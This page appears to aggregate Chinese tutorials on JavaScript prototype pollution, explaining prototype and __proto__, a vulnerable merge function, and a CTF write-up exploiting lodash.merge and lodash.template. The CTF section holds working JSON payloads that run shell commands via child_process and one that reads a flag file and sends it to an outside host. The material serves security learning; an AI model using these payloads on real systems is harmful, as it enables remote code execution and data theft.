精华内容
下载资源
问答
  • 一、什么是原型链? 简单回顾下构造函数,原型和实例的关系:  每个构造函数(constructor)都有一个原型对象(prototype),原型对象都包含一个指向构造函数的指针,而实例(instance)都包含一个指向原型对象的内部指针. ...
  • JavaScript原型链

    2019-03-25 01:07:51
    NULL 博文链接:https://ywxowen999.iteye.com/blog/1135884
  • JavaScript原型链污染攻击

    千次阅读 多人点赞 2019-07-18 16:00:02
    在理解攻击方法之前先了解一下js的面向对象编程的特点。 由于js非常面向对象的编程...JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义: function Foo() { this.bar = 1 } new Foo() ...

    在这里插入图片描述

    前言

    最近在看js的时候看到p神的一篇关于js原型链污染的文章,学习一下。

    下面转自p神:深入理解 JavaScript Prototype 污染攻击

    还有一篇案例关于js原型链污染的ctf题:从一道 CTF 题看 Node.js 的 prototype pollution attack

    js特点

    在理解攻击方法之前先了解一下js的面向对象编程的特点。
    由于js非常面向对象的编程特性,js有很多神奇的操作。
    js
    在js中你可以用各种方式操作自己的对象。

    prototype和__proto__用法

    JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

    function Foo() {
        this.bar = 1
    }
    
    new Foo()
    

    1
    Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。

    为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖。

    一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:

    function Foo() {
        this.bar = 1
        this.show = function() {
            console.log(this.bar)
        }
    }
    
    (new Foo()).show()
    

    2
    但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function…就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

    我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了:

    function Foo() {
        this.bar = 1
    }
    
    Foo.prototype.show = function show() {
        console.log(this.bar)
    }
    
    let foo = new Foo()
    foo.show()
    

    4我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。

    在js中,所有的对象都是从各种基础对象继承下来的,所以每个对象都有他的父类,通过prototype可以直接操作修改父类的对象。
    3

    我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。

    一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

    foo.__proto__ == Foo.prototype
    

    image.png
    这里类Foo在实例化时,便可调用prototype中的方法
    所以,总结一下:

    prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
    一个对象(foo)的__proto__属性,指向这个对象所在的类(Foo)的prototype属性

    JavaScript原型链继承

    在这里插入图片描述所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

    比如:

    function Father() {
        this.first_name = 'Donald'
        this.last_name = 'Trump'
    }
    
    function Son() {
        this.first_name = 'Melania'
    }
    
    Son.prototype = new Father()
    
    let son = new Son()
    console.log(`Name: ${son.first_name} ${son.last_name}`)
    

    5
    Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump。

    总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

    在对象son中寻找last_name
    如果找不到,则在son.__proto__中寻找last_name
    如果仍然找不到,则继续在son.proto.__proto__中寻找last_name
    依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null
    image.png

    JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

    以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

    每个构造函数(constructor)都有一个原型对象(prototype)
    对象的__proto__属性,指向类的原型对象prototype
    JavaScript使用prototype链实现继承机制

    原型链污染是什么

    第一章中说到,foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

    做个简单的实验:

    // foo是一个简单的JavaScript对象
    let foo = {bar: 1}
    
    // foo.bar 此时为1
    console.log(foo.bar)
    
    // 修改foo的原型(即Object)
    foo.__proto__.bar = 2
    
    // 由于查找顺序的原因,foo.bar仍然是1
    console.log(foo.bar)
    
    // 此时再用Object创建一个空的zoo对象
    let zoo = {}
    
    // 查看zoo.bar
    console.log(zoo.bar)
    最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2:
    

    image.png

    原因也显而易见:因为前面我们修改了foo的原型foo.proto.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

    后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

    那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

    哪些情况下原型链会被污染?

    在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

    我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

    对象merge
    对象clone(其实内核就是将待操作的对象merge到一个空对象中)
    以对象merge为例,我们想象一个简单的merge函数:

    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    

    在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

    我们用如下代码实验一下:

    let o1 = {}
    let o2 = {a: 1, "__proto__": {b: 2}}
    merge(o1, o2)
    console.log(o1.a, o1.b)
    
    o3 = {}
    console.log(o3.b)
    

    结果是,合并虽然成功了,但原型链没有被污染:

    image.png

    这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, “proto”: {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。

    那么,如何让__proto__被认为是一个键名呢?

    我们将代码改成如下:

    let o1 = {}
    let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
    merge(o1, o2)
    console.log(o1.a, o1.b)
    
    o3 = {}
    console.log(o3.b)
    

    可见,新建的o3对象,也存在b属性,说明Object已经被污染:

    image.png

    这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

    merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

    案例分析

    下面是P神出的Code-Breaking 2018一道原型链污染的CTF题目thejs,没环境没法复现,我总结下思路。
    后端代码server.js:

    const fs = require('fs')
    const express = require('express')
    const bodyParser = require('body-parser')
    const lodash = require('lodash')
    const session = require('express-session')
    const randomize = require('randomatic')
    
    const app = express()
    app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //对post请求的请求体进行解析
    app.use('/static', express.static('static'))
    app.use(session({
        name: 'thejs.session',
        secret: randomize('aA0', 16), //随机数
        resave: false,
        saveUninitialized: false
    }))
    app.engine('ejs', function (filePath, options, callback) { // 模板引擎
        fs.readFile(filePath, (err, content) => {         //读文件 filepath
            if (err) return callback(new Error(err))
            let compiled = lodash.template(content)             //模板化
            let rendered = compiled({...options})                //动态引入变量
    
            return callback(null, rendered)
        })
    })
    app.set('views', './views')
    app.set('view engine', 'ejs')
    
    app.all('/', (req, res) => {
        let data = req.session.data || {language: [], category: []}
        if (req.method == 'POST') {
            data = lodash.merge(data, req.body)
            req.session.data = data
        }
        
        res.render('index', {
            language: data.language, 
            category: data.category
        })
    })
    
    app.listen(3000, () => console.log(`Example app listening on port 3000!`))
    
    

    lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

    lodash.template 一个简单的模板引擎
    lodash.merge 函数或对象的合并
    其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

    而这里的lodash.merge操作实际上就存在原型链污染漏洞。

    在污染原型链后,相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。我们看到lodash.template的代码:https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

    // Use a sourceURL for easier debugging.
    var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
    // ...
    var result = attempt(function() {
      return Function(importsKeys, sourceURL + 'return ' + source)
      .apply(undefined, importsValues);
    });
    

    options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

    但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

    我将带有__proto__的Payload以json的形式发送给后端,因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:

    payload:

    {"__proto__": {"sourceURL": "\u000areturn e => {for (var a in {}) {delete Object.prototype{a}; } return global.process.mainModule.constructor.load('child_process').execSync('id') }\u000a/"}}
    

    原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
    这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉。

    flag:

    {"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http:/vps.com/${result}`);req.end();\r\n"}}
    
    展开全文
  • 前言 在 segmentfault 上看到这样一道题目: ...在解题之前,先再说说 原型、原型链,以及 Function 和 Object 的关系,这也是本文的重点。 原型 在创建一个函数的时候,会自动为其创建一个原型对
  • 主要介绍了JavaScript原型链与继承操作,结合实例形式总结分析了javascript原形链与继承的相关概念、使用方法及操作注意事项,需要的朋友可以参考下
  • js原型链详解

    2018-06-04 15:08:23
    javascript的原型与原型链的详细的解析,一篇从认识到熟悉深入的好文章!
  • 主要介绍了小白谈谈对JS原型链的理解的相关资料,需要的朋友可以参考下
  • JavaScript原型链顶层原理

    千次阅读 2019-05-27 22:42:20
    JS原型链是许多初学者的一道坎,出于对JS的热爱我花了一些时间专门研究了一下原型链的顶层实现原理,希望对你有帮助

    首先声明一点,关于原型链已经有很多文章介绍了,但是绝大部分都是讲的普通对象(自定义对象)在原型链中的理解,本篇文章的重点是关于原型链顶层原理,所以还不知道原型链是什么的小伙伴可以先看一下别人的文章。

    好了,现在进入正题,先把“教科书版本”的原型链图放出来

    哇~好乱
    一看这图是不是就想关掉了页面了? 哈哈 O(∩_∩)O 先别急嘛~

    还有一个更简单的图
    在这里插入图片描述
    这个是不是清晰多了
    从这个简化图可以看出Object.prototype指向的是null (嗯???!!!) 自有了Object.prototype之后自然就有了Object了

    而Function.prototype是由Object.prototype构造的,有了Function.prototype之后自然就有了Function了

    简单地说,Object.prototype是JS世界中最早出来的,然后由其生出了Object和Function.prototype(再生成了Function),js世界的其他对象、方法(函数) 就由Object和Function生成了。。。

    然而,事情并没有那么简单。虽然上面说的是对的,但是还有一些细节没有体现出来~ 下面附上我对于原型链顶层理解的图

    在这里插入图片描述
    在这里我直接总结了

    • Object.prototype是由上层对象创建的 (一些静态语言,像C++和Java),在这里为了不引起误会将其指向了null
    • Object.prototype创造了Function.Prototype
    • Function.prototype创造了Function
    • Function创造了Object(注意这里的Object的 proto 指向的是Function.prototype,想一想原型链的知识就明白了)
    • Object创造了其他对象(window, document, 自定义对象)

    注意

    • 要理解原型链顶层要和原型链其他地方的理解有一些不同,这里Object和Function及其原型要分开看,不能将原型和本身看作是理所当然的关系
    • Object.prototype和Object的关系
      Object.prototype是JS世界中最早生成的,理论上有了原型(Object.prototype)就会有本身(Object),然而Object的内容却是由Function构成的~~用通俗一点的话来解释就是,有了Object.prototype就有了Object的肉体,然而Object的灵魂却是由Function构成的

    第一次写博客,文笔不是很好,而且我也不是大牛,我只不过是一个还在学习前端的小白罢了_
    如果这篇文章能帮助到你那就是最好的了,如果你发现什么问题或者有什么疑惑欢迎私信我与我讨论~

    Wish you godspeed!

    展开全文
  • 主要介绍了js对象继承之原型链继承,以实例形式分析了原型链继承的实现方法与注意事项,具有一定参考借鉴价值,需要的朋友可以参考下
  • 对于javascript原型链,以前都觉得是个很深的东西,一直没有理解很明白,今天看了一些介绍后,发现这张图,表示再没有什么语言能比这张图说得清楚了。 看了这张图后突然对javascript有了质的理解。 javascript的...
  • js原型链污染(超详细)

    2021-08-23 13:49:26
    js创建对象的三种方法 : 普通创建 var person={name:'lihuaiqiu','age','19'} ​ var person={} //创建空对象 构造函数方法创建 function person(){ this.name="liahuqiu"; this.test=function () { ...

    js创建对象的三种方法 :

    • 普通创建

    var person={name:'lihuaiqiu','age','19'}
    ​
    var person={}  //创建空对象
    • 构造函数方法创建

    function person(){
        this.name="liahuqiu";
        this.test=function () {
            return 23333;
    ​
    }
    }
    person.prototype.a=3;
    web=new person();
    console.log(web.test());
    console.log(web.a)
    • 通过object创建

    var a=new Object();
    a.c=3
    console.log(a.c)

    函数即对象(这里的函数有点类似于一个类)

     

    prototype和proto用法

    对象.proto=构造器(构造函数).prototype

    构造器.prototype其实也是一个对象,为构造函数的原型对象,同样有__proto__属性,一直通过原型链__proto__最终可找到null。

    我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。

    一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

    foo.__proto__ == Foo.prototype

     

    这里类Foo在实例化时,便可调用prototype中的方法 所以,总结一下:

    prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法 一个对象(foo)的__proto__属性,指向这个对象所在的类(Foo)的prototype属性

     这个特性被用来实现JavaScript中的继承机制

    比如:

    function Father() {
        this.first_name = 'Donald'
        this.last_name = 'Trump'
    }
    
    function Son() {
        this.first_name = 'Melania'
    }
    
    Son.prototype = new Father()//这里Son.prototype意思是Son的父类,
    
    let son = new Son()
    console.log(`Name: ${son.first_name} ${son.last_name}`)

     

    Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump。

    (这里的继承机制是主动继承,也就是子类可以选择主动去继承父类,和php中的extends是一样的,子类去extends父类)

    总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

    在对象son中寻找last_name 如果找不到,则在son.__proto__中寻找last_name 如果仍然找不到,则继续在son._proto_.__proto__中寻找last_name 依次寻找,直到找到null结束。比如,Object.prototype的proto就是null

     

    JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

    每个构造函数(constructor)都有一个原型对象(prototype) 对象的__proto__属性,指向类的原型对象prototype JavaScript使用prototype链实现继承机制

    原型组成的链,对象的__proto__是原型,而原型也是一个对象,也有__proto__属性,原型的__proto__又是原型的原型,就这样可以一直通过__proto__向上找,这便是原型链,当向上找找到Object的原型的时候,这条原型链便算结束了。

     

    原型链污染是什么

    第一章中说到,foo.proto指向的是Foo类的prototype。那么,如果我们修改了foo.proto中的值,是不是就可以修改Foo类呢?

    做个简单的实验:

    // foo是一个简单的JavaScript对象
    let foo = {bar: 1}
    
    // foo.bar 此时为1
    console.log(foo.bar)
    
    // 修改foo的原型(即Object)
    foo.__proto__.bar = 2
    
    // 由于查找顺序的原因,foo.bar仍然是1
    console.log(foo.bar)
    
    // 此时再用Object创建一个空的zoo对象
    let zoo = {}
    
    // 查看zoo.bar
    console.log(zoo.bar)
    最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2:
    123456789101112131415161718

     

    原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类给这个类增加了一个属性bar,值为2。

    后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了

    那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

    (这样相当于给类添加了新的属性,而这个对象中也有bar这个属性,所以类的改变并不会影响到已经创建好的对象的属性,但是新创建的对象就不一样了)

    1.首先我们要知道 构造函数.prototype指向的是一个对象(原型)

    2.任何对象都有一个原型对象,这个原型对象由对象的内置属性__proto__指向它的构造函数的prototype指向的对象,即任何对象都是由一个构造函数创建的

    3.只有构造函数内才有ptorotype属性

    4.每个对象都内含有一个属性:__proto__,也就是说就算对象里面没有对这个属性进行赋值,那么也是有这个属性的

    5.原型链的核心就是依赖对象__proto__的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的prototype的进行查找,直至查找到Object时,就没有指向了。如果最终查找失败会返回undefined或报错

    哪些情况下原型链会被污染?

    在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

    我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

    (因为对象和属性之间的表达方式很多,与数组的表达方式是一样的)

     对象merge 对象clone(其实内核就是将待操作的对象merge到一个空对象中) 以对象merge为例,我们想象一个简单的merge函数:

    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }

    这里如果我们想象一下,如果我们让key是__proto__,的话那么是不是就可以对原型造成影响,最终影响到实例化出来的类呢?

    我们用如下代码实验一下:

     

    但是我们发现 这里的c并没有被污染

    这是因为这里我们let o2 = {a: 1, "__proto__": {b: 2}}中的proto已经作为的是o2的原型,也就是说这里o2[__proto__]={b:2}(一个对象)并没有被解析成为键名,也就是说这里我们取到的键就只有a,b也就是o1[a]=1,o1[b]=2

     所以我们就要使用JSON.parse

     所以说我们代码改成这样:

    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    let o1 = {}
    let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
    merge(o1, o2)
    console.log(o1.a, o1.b)//1,2
    
    o3 = {}
    console.log(o3.b)//2

    注意let o2 = {"a": 1, "proto": {"b": 2}}这种写法和let o2 = {a: 1, "__proto__": {b: 2}}写法结果是一样的

    分析 :

    如果是第一种情况 (没有JSON.parse的情况),我们上面谈到,在进行键值赋值之前就会把proto解析掉,让其指向其构造函数的prototype指向的对象,也就是说原型o2的原型对象就成了{"b":2},就不是最上层的Object,就达不到污染的目的

    这个时候我们看我们的o2对象 :

     

    只有一个对象

    我们查看它__proto__指向的对象

    那么我们继续往上面读取一下 :

     

     发现才是最上层的Object.prototype对象,并且没有任何属性

     

    我们知道我们给对象添加属性都是直接在后面加上.(点),然后在.(点)的后面加上属性的值

    我们来看看o1:

     

    这也证实了proto确实没有被当做键名来给a

    如果我们这里能够达到这个效果:a.__proto__.b=2的话不就污染到了嘛,因为a的上一层就是Object

    所以我们看看加了JSON.parse的情况,这个会把我们的属性名当做键名来解析我们来分析一下流程 :

    for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    let o1 = {}
    let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
    merge(o1, o2)

    这里 首先加上了JSON.parse的时候这个时候__proto__就会被当做键名了:

     

    赋值过程中,首先会是o1[a]=o2[a]=1,

    然后就回到proto这个键名,由于上面我们提及到只要是对象都会有一个__proto__属性,所以这里会进入到if语句里面,也就是说两个对象都有__proto__这个键名

    接下来的赋值就是 :

    target会变成o1[__proto__],source会变成o2[__proto__],接下来key就变成了b了,然后就会进行:

    o1[__proto__] [b]=o2[__proto__] [b]=2(o2[__proto__]就是{"b":2},然后[b]就相当于是.b

    这里o1[__proto__] [b]就相当于o1.__proto__.b=2也相当于Object.prototype.b=2

     

    这样就相当于给最顶层的Object.prototype所指向的对象添加了属性

    所以我们随便创建一个对象也就有了b这个属性 

    这就是所谓的原型链污染的常见基础分析了

     

    -------------------------------------------------------------------------------------------何秋莲  ❥(^_-)  ❥(^_-)-----------------  

    展开全文
  • 本文实例分析了Javascript原型链的原理。分享给大家供大家参考,具体如下: 一、JavaScript原型链 ECMAScript中描述了原型链的概念,并将原型链作为实现继承的主要方法。其基本思想是利用原型让一个引用类型继承另一...
  • 主要介绍了JavaScript原型链示例,有需要的朋友可以参考一下
  • JavaScript原型链属性查找规则

    千次阅读 2020-10-06 12:06:17
    原型链 // 属性查找规则 function Student(name, age, sex) { this.name = name; this.age = age; this.sex = sex; } Student.prototype.sayHi = function () { console.log('大家好,我是' + this.name);...

    原型链

    在这里插入图片描述

        // 属性查找规则
        function Student(name, age, sex) {
          this.name = name;
          this.age = age;
          this.sex = sex;
        } 
        Student.prototype.sayHi = function () {
          console.log('大家好,我是' + this.name);
        }
        // 构造函数的原型对象增加一个属性
        Student.prototype.test = 'abc';
        var s1 = new Student('lilei', 18, '男');
        var s2 = new Student('hmm', 18, '女');
    
    
        // 如何访问对象的方法
        // s1对象的原型对象的原型对象  Object构造函数的原型对象
        // console.log(s1.__proto__.__proto__ === Object.prototype);
        // 
        // 所有的对象都有toString()方法
        // 查找toString()    根据对象的查找原则所有的对象都可以查找到Obect 上的所有成员
        // console.log(s1.toString());
        // console.dir(s1);
        // console.dir(s1.__proto__);
        // console.dir(s1.__proto__.__proto__);
    
    
        // 如何访问对象的属性
        // 读取属性  先在对象本身查找test属性,如果没有找到的话,会去原型链上查找
        // console.log(s1.name);
        // console.log(s1.test);
    
        // 设置属性
        s1.name = 'xxx';
        // test属性在原型对象上,而在设置属性的值的时候,不会搜索原型链
        // 而是直接给对象新增一个test属性
        s1.test = '123xxx';
    
        console.log(s1.name);
        console.log(s1.test);
    
        console.log(s2.name);
        console.log(s2.test);
    
    展开全文
  • 主要介绍了javascript原型链和继承的概念,以及使用原型链实现继承、经典继承、组合式继承、寄生组合式继承。非常实用,是篇非常不错的文章,这里推荐给大家。
  • JS原型链详细图解

    千次阅读 2018-04-29 19:48:27
    __proto__ 和 prototype 的关系:__proto__ 是每个对象都有的属性;prototype是构造函数的属性;他们指向的是同一个对象。例如:function F(){};var f = new F();f.__proto__ === F.prototype //true...
  • JavaSciptDOM基本操作,JavaScipt函数基础,JavaScipt流程语句,JavaScript变量,JavaScript数据类型,JavaScript数组,JavaScript正则表达式,JavaScript字符串函数,Window对象等图解。JS高手进阶的工具图谱
  • JavaScript 原型链和继承面试题

    千次阅读 2020-10-29 02:00:37
    JavaScript 原型链和继承问题 JavaScript 中没有类的概念的,主要通过原型链来实现继承。通常情况下,继承意味着复制操作,然而 JavaScript默认并不会复制对象的属性,相反,JavaScript只是在两个对象之间创建一个...
  • 本文通过实例详细向我们分析了javascript原型链维护和继承的问题,十分的详尽,十分的全面,这里推荐给大家。
  • js原型链与继承是js中的重点,所以我们通过以下三个例子来进行详细的讲解。一起跟随小编过来看看吧,希望对大家有所帮助。
  • 理解JS原型链到实现继承

    千次阅读 2021-03-22 21:42:06
    理解JS原型链到实现继承 JS是通过原型链的方式能够像一些基于类的语言(如Java、C++)一样实现了类的功能,并且也可以通过原型链进行继承。但是,由于原型链的灵活,在ES5的语法中有许多方式能够实现继承,可能你有...
  • JS原型链继承

    千次阅读 2019-01-09 18:23:43
    再讲述JS原型链继承之前,我希望大家能够先理解 《函数,函数原型和函数实例之间的关系》,这样有助于大家理解JS原型链继承的原理,下面先看一张图吧,咱们看图说话: 如果大家看完了 《函数,函数原型和函数实例...
  • 任何一个对象都有一个prototype的属性,在js中可以把它记为:__proto__
  • 主要介绍了JavaScript作用域、闭包、对象与原型链,结合实例形式总结分析了javascript中变量与函数的作用域、闭包、对象、原形链相关概念、用法及注意事项,需要的朋友可以参考下
  • JavaScript 原型链常用方法 对象属性类型 数据属性 Configurable(表示能否通过 delete 删除属性从而重新定义属性,能否修改属性的特性,或者能否把属性修改为访问器属性) Enumerable(表示能否通过 for-in 循环...
  • 本文实例讲述了javascript 原型与原型链的理解及应用。分享给大家供大家参考,具体如下: javascript中一切皆对象,但是由于没有Class类的概念,所以就无法很好的表达对象与对象之间的关系了。 比如对象A与对象B之间...
  • js原型链与继承是js中的重点,所以我们通过以下三个例子来进行详细的讲解。  首先定义一个对象obj,该对象的原型为obj._proto_,我们可以用ES5中的getPrototypeOf这一方法来查询obj的原型,我们通过判断obj的原型...
  • 关于javascript原型链上的属性

    千次阅读 2016-12-14 18:31:28
    //创建一个构造函数 function P() { this.name="lishi"; this.age=18;... }//给P这个构造函数指定一个原型对象 P.prototype={ get_age:function(){ console.log(this.age) }, long:"1.4m", men
  • 理解JavaScript原型链

    2020-10-21 06:19:21
    简单说一说对JavaScript原型链的理解,希望对大家学习JavaScript原型链有所帮助,具体内容如下
  • js原型链(详细图解)

    2019-09-02 22:17:58
    原型链 原型链就是构造函数,原型对象,和实例的关系 概念 每个构造函数都有一个指向该构造函数的原型对象(prototype) 每个构造函数的原型对象都有一个指向构造函数的指针(constructor) 每个原型内部都有一个指向其...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 101,052
精华内容 40,420
关键字:

js原型链